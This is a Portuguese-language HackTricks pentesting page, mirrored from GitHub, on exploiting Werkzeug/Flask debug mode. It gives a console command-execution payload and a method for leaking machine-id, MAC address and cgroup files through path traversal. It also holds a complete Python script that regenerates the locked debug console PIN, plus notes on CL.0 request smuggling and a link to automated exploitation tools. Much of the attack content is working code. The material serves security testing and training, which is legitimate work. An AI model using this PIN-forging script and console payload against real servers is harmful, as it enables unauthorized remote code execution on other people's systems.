mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
207 lines
11 KiB
Markdown
207 lines
11 KiB
Markdown
|
# Werkzeug / Flask Debug
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||
|
|
||
|
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||
|
|
||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
|
||
|
## Console RCE
|
||
|
|
||
|
Se o debug estiver ativo, você pode tentar acessar `/console` e obter RCE.
|
||
|
```python
|
||
|
__import__('os').popen('whoami').read();
|
||
|
```
|
||
|
![](<../../.gitbook/assets/image (117).png>)
|
||
|
|
||
|
Há também vários exploits na internet, como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
|
||
|
|
||
|
## Protegido por PIN - Traversal de Caminho
|
||
|
|
||
|
Em algumas ocasiões, o endpoint **`/console`** estará protegido por um PIN. Se você tiver uma **vulnerabilidade de traversal de arquivo**, pode vazar todas as informações necessárias para gerar esse PIN.
|
||
|
|
||
|
### Exploit de PIN da Console do Werkzeug
|
||
|
|
||
|
Force uma página de erro de depuração no aplicativo para ver isso:
|
||
|
```
|
||
|
The console is locked and needs to be unlocked by entering the PIN.
|
||
|
You can find the PIN printed out on the standard output of your
|
||
|
shell that runs the server
|
||
|
```
|
||
|
Uma mensagem sobre o cenário "console locked" é encontrada ao tentar acessar a interface de depuração do Werkzeug, indicando a necessidade de um PIN para desbloquear o console. A sugestão é explorar o PIN do console analisando o algoritmo de geração de PIN no arquivo de inicialização de depuração do Werkzeug (`__init__.py`). O mecanismo de geração de PIN pode ser estudado no [**repositório de código-fonte do Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), embora seja aconselhável obter o código do servidor real por meio de uma vulnerabilidade de travessia de arquivos devido a possíveis discrepâncias de versão.
|
||
|
|
||
|
Para explorar o PIN do console, são necessárias duas conjuntos de variáveis, `probably_public_bits` e `private_bits`:
|
||
|
|
||
|
#### **`probably_public_bits`**
|
||
|
|
||
|
* **`username`**: Refere-se ao usuário que iniciou a sessão Flask.
|
||
|
* **`modname`**: Geralmente designado como `flask.app`.
|
||
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Geralmente resolve para **Flask**.
|
||
|
* **`getattr(mod, '__file__', None)`**: Representa o caminho completo para `app.py` dentro do diretório Flask (por exemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` não for aplicável, **tente `app.pyc`**.
|
||
|
|
||
|
#### **`private_bits`**
|
||
|
|
||
|
* **`uuid.getnode()`**: Obtém o endereço MAC da máquina atual, com `str(uuid.getnode())` traduzindo-o para um formato decimal.
|
||
|
* Para **determinar o endereço MAC do servidor**, deve-se identificar a interface de rede ativa usada pelo aplicativo (por exemplo, `ens3`). Em casos de incerteza, **leak `/proc/net/arp`** para encontrar o ID do dispositivo, em seguida, **extraia o endereço MAC** de **`/sys/class/net/<device id>/address`**.
|
||
|
* A conversão de um endereço MAC hexadecimal para decimal pode ser realizada como mostrado abaixo:
|
||
|
|
||
|
```python
|
||
|
# Exemplo de endereço MAC: 56:00:02:7a:23:ac
|
||
|
>>> print(0x5600027a23ac)
|
||
|
94558041547692
|
||
|
```
|
||
|
* **`get_machine_id()`**: Concatena dados de `/etc/machine-id` ou `/proc/sys/kernel/random/boot_id` com a primeira linha de `/proc/self/cgroup` após a última barra (`/`).
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Código para `get_machine_id()`</summary>
|
||
|
```python
|
||
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
|
global _machine_id
|
||
|
|
||
|
if _machine_id is not None:
|
||
|
return _machine_id
|
||
|
|
||
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
|
linux = b""
|
||
|
|
||
|
# machine-id is stable across boots, boot_id is not.
|
||
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
|
try:
|
||
|
with open(filename, "rb") as f:
|
||
|
value = f.readline().strip()
|
||
|
except OSError:
|
||
|
continue
|
||
|
|
||
|
if value:
|
||
|
linux += value
|
||
|
break
|
||
|
|
||
|
# Containers share the same machine id, add some cgroup
|
||
|
# information. This is used outside containers too but should be
|
||
|
# relatively stable across boots.
|
||
|
try:
|
||
|
with open("/proc/self/cgroup", "rb") as f:
|
||
|
linux += f.readline().strip().rpartition(b"/")[2]
|
||
|
except OSError:
|
||
|
pass
|
||
|
|
||
|
if linux:
|
||
|
return linux
|
||
|
|
||
|
# On OS X, use ioreg to get the computer's serial number.
|
||
|
try:
|
||
|
```
|
||
|
</details>
|
||
|
|
||
|
Ao compilar todos os dados necessários, o script de exploit pode ser executado para gerar o PIN do console Werkzeug:
|
||
|
|
||
|
Ao compilar todos os dados necessários, o script de exploit pode ser executado para gerar o PIN do console Werkzeug. O script utiliza os `probably_public_bits` e `private_bits` montados para criar um hash, que então passa por um processamento adicional para produzir o PIN final. Abaixo está o código Python para executar esse processo:
|
||
|
```python
|
||
|
import hashlib
|
||
|
from itertools import chain
|
||
|
probably_public_bits = [
|
||
|
'web3_user', # username
|
||
|
'flask.app', # modname
|
||
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
|
]
|
||
|
|
||
|
private_bits = [
|
||
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||
|
]
|
||
|
|
||
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
|
h = hashlib.sha1()
|
||
|
for bit in chain(probably_public_bits, private_bits):
|
||
|
if not bit:
|
||
|
continue
|
||
|
if isinstance(bit, str):
|
||
|
bit = bit.encode('utf-8')
|
||
|
h.update(bit)
|
||
|
h.update(b'cookiesalt')
|
||
|
# h.update(b'shittysalt')
|
||
|
|
||
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
|
||
|
num = None
|
||
|
if num is None:
|
||
|
h.update(b'pinsalt')
|
||
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
|
||
|
rv = None
|
||
|
if rv is None:
|
||
|
for group_size in 5, 4, 3:
|
||
|
if len(num) % group_size == 0:
|
||
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
|
for x in range(0, len(num), group_size))
|
||
|
break
|
||
|
else:
|
||
|
rv = num
|
||
|
|
||
|
print(rv)
|
||
|
```
|
||
|
Este script produz o PIN ao hash dos bits concatenados, adicionando sais específicos (`cookiesalt` e `pinsalt`), e formatando a saída. É importante notar que os valores reais para `probably_public_bits` e `private_bits` precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pela console do Werkzeug.
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritmo de hash para md5** em vez de sha1.
|
||
|
{% endhint %}
|
||
|
|
||
|
## Caracteres Unicode do Werkzeug
|
||
|
|
||
|
Como observado em [**este problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não fecha uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado em [**este artigo**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de CL.0 Request Smuggling.
|
||
|
|
||
|
Isso ocorre porque, no Werkzeug, é possível enviar alguns **caracteres Unicode** e isso fará com que o servidor **quebre**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
|
||
|
|
||
|
## Exploração Automatizada
|
||
|
|
||
|
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||
|
|
||
|
## Referências
|
||
|
|
||
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
|
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||
|
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||
|
|
||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||
|
|
||
|
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||
|
|
||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Suporte ao HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|